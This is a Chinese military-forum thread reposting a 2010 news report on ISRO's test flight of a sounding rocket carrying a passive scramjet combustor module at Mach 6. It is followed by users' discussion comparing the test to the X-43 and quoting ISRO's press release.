印度成功发射新型冲压探空火箭

来源:百度文库 编辑:超级军网 时间:2024/04/27 19:13:02
<br /><br />[返回首页][更多中评电讯]中评电讯印度成功试射新型探空火箭 称比常规火箭更佳  中评社北京3月4日电/新华社报道,印度空间研究组织4日说,该组织3日成功试飞了一枚重3吨的新型高性能探空火箭,为未来新型运载火箭的研制铺平了道路。  印度空间研究组织对媒体说,这枚探空火箭是于安得拉邦沿海综合试验场发射的,并成功进行了7秒超过6倍音速的高速飞行。  该组织表示,这枚火箭是该组织迄今研制的最大的探空火箭,该火箭采用了新型的吸气式推进技术。此次试飞的一个重要目的就是对这一技术进行检验。新型探空火箭的试飞成功为新型运载火箭的研制提供了技术参考。  印度火箭专家介绍说,吸气式火箭与常规火箭不同,它采用吸气式发动机,无需携带氧化剂,能从空气中吸取氧气来支持燃料的燃烧。这种火箭比常规火箭更轻、更高效,可极大降低卫星发射的成本,但技术开发十分复杂。[返回首页][更多中评电讯]<meta http-equiv="refresh" content="0; url=http://sdw.cc">
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问题是外层空间足够有氧气吗
:dizzy:运载火箭用这种发动机
香港的媒体?有文中引用来源新华社的链接么?
三哥的这玩意进入太空以后是靠惯性进入轨道的么?
6马赫离第一宇宙速度差了十几条街吧……
这个不是冲压弹的原型 而是冲压弹的开发工具
类似美国佬用飞马座火箭测试X43中飞马座火箭的作用
加速
完全开发还要等下一步
:(

不可小视,这是大气层内超高速飞行器试验.

当然也不用太夸张,印度用的萨姆5就是冲压发动机的,去掉弹头装药,改装改装在高空飞6马赫是有可能的.
在火箭的第一级采用冲压发动机主要的障碍有哪些?
冲压发动机先要用普通火箭加速吧?不是要多一级出来?当运载火箭用,这个结构太麻烦了吧
东方亮亮 发表于 2010-3-4 13:42
我觉得这篇文章的重点是:这台发动机是‘亚燃’的还是‘超燃’的?
6 mach肯定是超燃冲压了

印度这次只是超燃冲压发动机的前期实验,目的应该是验证安装了超燃冲压发动机后是否影响探空火箭自身的飞行,类似于X-43正式飞行之前先在飞马座火箭前面加装一个X-43的全尺寸模型
TG又有事情做了。
cmj9808 发表于 2010-3-5 12:42


不像,印度这个采用的是类似于X-43/51的二元进气道,如下图左上所示

1003041414fe47869ed4cd956c.jpg

在ISRO的主页上找了个大图
ATV-D01%20on%20launch%20pad.jpg

不像,印度这个采用的是类似于X-43/51的二元进气道,如下图左上所示

1003041414fe47869ed4cd956c.jpg

在ISRO的主页上找了个大图
ATV-D01%20on%20launch%20pad.jpg
不知道TB搞出来了不。

期待大大们爆料
gasturbo 发表于 2010-3-7 00:49

同问?

不像,印度这个采用的是类似于X-43/51的二元进气道,如下图左上所示
在ISRO的主页上找了个大图
cmj9808 发表于 2010-3-6 23:41

原文
http://isro.org/pressrelease/scr ... ein.aspx?Mar03_2010

t carried a passive scramjet engine combustor module as a test bed for demonstration of Air- Breathing propulsion technology.

During the flight, the vehicle successfully dwelled for 7 seconds in the desired conditions of Mach number (6 + 0.5) and dynamic pressure (80 + 35 kPa). These conditions are required for a stable ignition of active scramjet engine combustor module planned in the next flight of ATV.
----------------------------------------
一个超燃冷流实验装置,下次飞行会进行燃烧实验
用途跟Kholod飞行试验台一样,只是形状不同
不像,印度这个采用的是类似于X-43/51的二元进气道,如下图左上所示
在ISRO的主页上找了个大图
cmj9808 发表于 2010-3-6 23:41

原文
http://isro.org/pressrelease/scr ... ein.aspx?Mar03_2010

t carried a passive scramjet engine combustor module as a test bed for demonstration of Air- Breathing propulsion technology.

During the flight, the vehicle successfully dwelled for 7 seconds in the desired conditions of Mach number (6 + 0.5) and dynamic pressure (80 + 35 kPa). These conditions are required for a stable ignition of active scramjet engine combustor module planned in the next flight of ATV.
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一个超燃冷流实验装置,下次飞行会进行燃烧实验
用途跟Kholod飞行试验台一样,只是形状不同
TG有一堆超燃专用大风洞,可能不需要搞这种飞行试验台
回复 16# gasturbo
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